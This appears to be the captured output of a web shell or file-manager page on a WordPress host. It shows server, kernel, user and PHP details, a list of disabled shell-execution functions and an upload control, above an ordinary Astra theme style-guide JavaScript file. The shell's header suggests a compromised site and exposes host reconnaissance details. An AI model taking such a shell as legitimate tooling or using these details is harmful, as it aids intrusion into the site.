HEX
Server: Apache/2
System: Linux esx60.csv-networks.nl 4.18.0-553.44.1.el8_10.x86_64 #1 SMP Mon Mar 10 05:10:11 EDT 2025 x86_64
User: loft320 (1016)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/loft320/public_html/wp-content/themes/astra/assets/js/unminified/style-guide-previewer.js
/**
 * Astra Theme Style Guide Preview Updater.
 *
 * @package Astra
 * @since  x.x.x
 */

(function($) {
    /**
     * Quick easy navigation.
     */
	jQuery(document).ready(function($) {
		document.addEventListener('AstraStyleGuideElementUpdated', function (e) {
			let element = $(document.body).find( e.detail.selector );
			let value   = e.detail.value;

			// Check if value is an object or else set the value.
			if ( typeof value === 'object' ) {
				let desktopValue = value.desktop;
				let tabletValue  = value.tablet;
				let mobileValue  = value.mobile;

				element.find( '.ast-sg-desktop' ).html( desktopValue );
				element.find( '.ast-sg-tablet' ).html( tabletValue );
				element.find( '.ast-sg-mobile' ).html( mobileValue );
			} else {
				element.html( value );
			}
		});

		let closeTrigger = $('.ast-close-tour');
		closeTrigger.on('click', function(e) {
			e.preventDefault();
			e.stopPropagation();
			$( document.body ).removeClass('ast-sg-loaded');
		});
	});
})(jQuery);